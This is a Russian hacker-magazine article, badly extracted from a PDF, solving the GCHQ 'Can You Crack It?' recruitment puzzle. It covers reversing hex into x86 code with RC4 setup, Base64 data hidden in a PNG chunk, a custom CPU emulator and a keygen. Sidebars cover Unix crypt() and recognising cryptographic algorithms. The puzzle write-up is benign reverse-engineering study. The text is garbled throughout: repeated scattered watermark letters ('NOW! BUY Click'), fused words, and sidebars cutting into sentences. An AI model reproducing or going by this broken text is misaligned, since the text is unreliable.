hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

Ican crack it!

РЕШЕНИЕЗАДАНИЙ ДЛЯХАК-КОНКУРСА, УЧРЕЖДЕННОГО УПРАВЛЕНИЕМ

ПРАВИТЕЛЬСТВЕННОЙСВЯЗИ ВЕЛИКОБРИТАНИИ

Недавно Управление правительственной связи Великобритании объявило небольшой ][-конкурс, чтобы привлечь к себе внимание как к работодателю. Не уверен, что к ним ктото устроился на работу, но пройти задания из спортивного интереса наверняка захотели многие.

DVD

Нанашемдиске тысможешьнайти видеосполным прохождением конкурса«CanYou CrackIt?».

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

plaintext(first@plaintext.su,http://www.plaintext.su)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

Заданиепервогоэтапа

 

Комментарийкфайлусзаданием

066

ХАКЕР 03 /158/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

I can crackw Clickit!

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Итак, некоторое время назад Управление правительственной связи Великобритании объявило конкурс, успешное прохождение которого позволяло отправить в Управление свое резюме, а затем и устроиться на работу в британскую киберразведку. Предложенные задания не так уж сложны, да и саму страницу отдела кадров Управления правительственной связи (GCHQ) можно практически сразу обнаружить при помощи поисковика Google, однако этот конкурс всё же интересен, так как он позволяет оценить уровень подготовки сотрудников, которые составляли задания.

FIRST STEP

На странице конкурса, находящейся по адресу canyoucrackit.co.uk, мы видим картинку с набором HEX-значений (смотри соответствующий рисунок) и надпись-дразнилку «Can You Crack It?». Увидев эти HEX-значения, я поначалу подумал, что это зашифрованное послание, начал было считать частоту встречаемости каждого значения и попытался затем перевести их в символы ASCII, однако у меня ничего не вышло. В итоге я решил засунуть все HEX-значения с рисунка в двоичный файл и открыть полученное непотребство в IDA Pro. В итоге мне удалось получить кое-какие результаты. IDA легко распознал осмысленные куски кода для архитектуры x86. Я понял, что выбрал правильный путь.

Недолго думая, я преобразовал полученный кусок кода в функцию и запустил декомпилятор. Сначала в стеке выделяется место под массив в 256 байт, который заполняется значениями от 0 до 255, а далее выполняется процедура преобразования массива, которая на самом деле представляет собой алгоритм инициализации шифра RC4 с размером блока 8 бит и ключом 0xDEADBEEF (смотри рисунок). После всего этого вызывается еще одна функция, стек которой испорчен, и поэтому она не по зубам декомпилятору.

Как оказалось, в начале второй функции значение регистра esp, содержащего указатель на вершину стека, меняется на

адрес конца нашего кода, указывающий, где содержится значение 0xAAAAAAAA. Далее из стека извлекается DWORD, который сравнивается с 0xAAAAAAAA. Затем извлекается еще одно значение, которое сравнивается с 0xBBBBBBBB. Однако этого куска данных (второй половины стека функции) у нас нет.

Чтобы найти вторую половину стека нашей функции, необходимо сохранить картинку с заданием с сайта и посмотреть, как эта функция устроена. Недостающие данные содержатся в дополнительной секции iTXt PNG-файла с заданием (кодировка UTF-8). Бинарные данные закодированы с помощью алгоритма Base64 и следуют за словом Comment (смотри рисунок). Раскодировав и склеив два бинарника, я запустил код на выполнение (под отладчиком) и просмотрел результат процедуры дешифрования, который представляет собой следующую строку:

GET /15b436de1f9107f3778aad525e5d0b20.js

HTTP/1.1

После отправки соответствующего GETзапроса на сервер получаем второе задание.

Кстати, код можно запустить несколькими способами. Я создал простой exe-файл, в котором сначала считывается кусок кода с

заданием, а потом всё это дело запускается на выполнение (под контролем IDA) при помощи простой ассемблерной вставки:

__asm

{

int 3; программная точка останова

mov eax, array; array — массив с кодом

call eax; запуск кода на выполнение

}

Хочу отметить, что в начале кода происходит jmp через четыре (вроде бы) неиспользуемых байта. Эти четыре байта пригодятся нам в дальнейшем. Как видишь, первое задание довольно простое. Затруднения возникли лишь при обнаружении второй части стека функции в дополнительной секции PNG-файла с зада-

Результатдекомпиляции

нием. Для этого не нужно знать формат PNG, а достаточно просто быть внимательным (необходимая информация содержится в самом начале файла).

SECOND STEP

Во втором задании авторы предлагают нам попробовать написать эмулятор микропроцессора. Дан кусок памяти с кодом и данными, а также описана архитектура микропроцессора, для которого всё это предназначено. Процессор состоит из восьми регистров, четыре из которых (r0...

r3) представляют собой регистры общего назначения, два предназначены для хранения адреса сегмента кода и адреса сегмента данных (cs и ds соответственно), один ре-

UNIXCRYPT()

Функция crypt в операционных системах *nix служит для хеширования различных данных, в том числе паролей пользователей системы. Традиционная реализация этой функции использует американский алгоритм DES (Data Encryption Standard). Пароль пользователя сокращается до восьми символов, от каждого из которых, в свою очередь, берется 7 бит. Восемь наборов по 7 бит формируют 56-битный ключ алгоритма DES, при помощи которого шифруется блок из восьми нулевых байт. Затем

полученный блок шифрованного текста вновь шифруется с помощью алгоритма DES и т. д. Таким образом, блок из восьми нулевых байт шифруется в процессе работы 25 раз. Стоит отметить, что crypt не использует стандартную, эталонную реализацию алгоритма DES. Алгоритм каждый раз слегка меняется. Его конкретная реализация зависит от соли длиной 12 бит. Соль и шифрованный текст в итоге преобразуются в строку при помощи алгоритма Base64.

Основнойфункционалпрограммыkeygen

ХАКЕР 03 /158/ 2012

067

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Неиспользованныезначенияизпервогоивторогозаданий

гистр служит для хранения флага операции (flg), и один — для хранения адреса текущей инструкции (ip).

Микропроцессор обладает набором из восьми инструкций, каждая из которых (за исключением инструкции hlt, прекращающей выполнение программы) имеет два режима работы: mod 0 и mod 1. В принципе, для успешного выполнения задания достаточно обладать небольшими навыками программирования, а также представлять, как работают микропроцессоры. Однако в процессе программирования я наткнулся на несколько подводных камней. Сперва я объединил в один массив регистры общего назначения, а для cs и ds выделил отдельные переменные. Как оказалось, это ошибочный подход, так как в коде встречаются инструкции типа «add r[5], 12», которые, по замыслу разработчиков задания, изменяют значения сегментных регистров напрямую (в

Soyoudidit—поздравлениесуспешнымвыполнениемзаданий

описании задания упоминается регистр cs, так же как и r5). Второй подводный камень

— реализация far jump’ов и изменения ip. Здесь просто надо знать, что значения регистров, отвечающих за номера сегментов, изменяются только при дальних переходах и не изменяются, если ip начинает указывать на новый сегмент кода. В остальном же всё просто и прозрачно. Разработчики заданий предлагают нам реализовать эмулятор на языке JavaScript, однако на то, будет ли учтено выполненное задание, выбор языка программирования не влияет. Я реализовал эмулятор процессора на C. Программа выполняется довольно быстро, хотя у меня были подозрения, что разработчики напишут код, который будет работать полчаса :-). После остановки процессора (выполнения инструкции hlt) в памяти появится ключ к третьему этапу конкурса — очередной GETзапрос:

GET /da75370fe15c4148bd4ceec861fbdaa5.exe

HTTP/1.0

THIRD STEP

Отсылая очередной GET-запрос к сайту, получаем третье задание — исполняемый файл. При просмотре зависимостей этого файла видно, что для его работы необходим Cygwin. Вообще, в свойствах полученной программы указано, что настоящее имя экзешника keygen.exe, так что смело переименовываем его.

В этот раз опять никаких проблем с реверсом — код никак не обфусцирован. При запуске keygen требует передать ему URL сайта для соединения в качестве первого параметра. Алгоритм работы программы достаточно прост: в текущей директории выполняется поиск файла licence.txt, из которого считывается строка, а также три числа. Судя по строкам в сегменте данных, требуемые числа представляют собой Stage one licence key и Stage two licence key,

ВОССТАНОВЛЕНИЕКРИПТОГРАФИЧЕСКИХАЛГОРИТМОВ

В настоящее время сложно найти коммуникационную систему, которая не использовала бы криптографию. Часто в процессе реверс-инжиниринга различных модулей необходимо распознавать

ивосстанавливать используемые криптографические алгоритмы, режимы их работы, порядок выработки и использования ключей шифрования и т. д. Разбор конкретной реализации алгоритма также нередко позволяет не только выявить ее ошибки, но

иопределить, что алгоритм используется неправильно, в результате чего могут возникать уязвимости, позволяющие в конечном итоге провести успешную атаку на систему в целом.

Вообще, универсального рецепта по распознаванию криптографических алгоритмов не существует, можно лишь выделить некоторые подходы и описать некоторые признаки, которые позволяют

«заподозрить» тот или иной участок кода в принадлежности к какому-либо алгоритму. Так, например, современные симметричные блочные алгоритмы шифрования обычно построены по итерационной схеме, в которой, как правило, производится замена значений в соответствии с некоторой таблицей в памяти, наложение ключа шифрования и линейное преобразование. При этом в пределах одной функции в ассемблерном листинге может встретиться цикл, большое количество инструкций типа mov, movzx, add, xor, shl, shr и т. д., а также частые обращения к памяти (в качестве примера смотри рисунок).

Кроме того, для каждого криптографического алгоритма можно выделить некоторые «отличительные черты», которые позволяют автоматизировать поиск необходимых участков кода. Чаще всего такими признаками служат константы, характерные для того или иного алгоритма. Для симметричных

алгоритмов это могут быть блоки подстановок (SBox'ы), некоторые специфические константы, а также такие параметры алгоритма, как длина ключей (в том числе длина массива раундовых ключей), длина блока, количество итераций (раундов) и т. д. Подобными признаками также обладают и хеш-функции. Алгоритмы хеширования обычно используют большие наборы констант, что облегчает распознавание типа алгоритма и его восстановление.

Стоит отметить, что в подавляющем большинстве программных реализаций симметричных алгоритмов шифрования функция выработки массива раундовых ключей (key schedule) и функция дешифрования/ шифрования открытого текста находятся в разных участках кода программы. Это помогает ускорить процесс обработки информации (и не тратить каждый раз время и ресурсы на получение key shedule из основного ключа алгоритма).

068

ХАКЕР 03 /158/ 2012

Соседние файлы в папке журнал хакер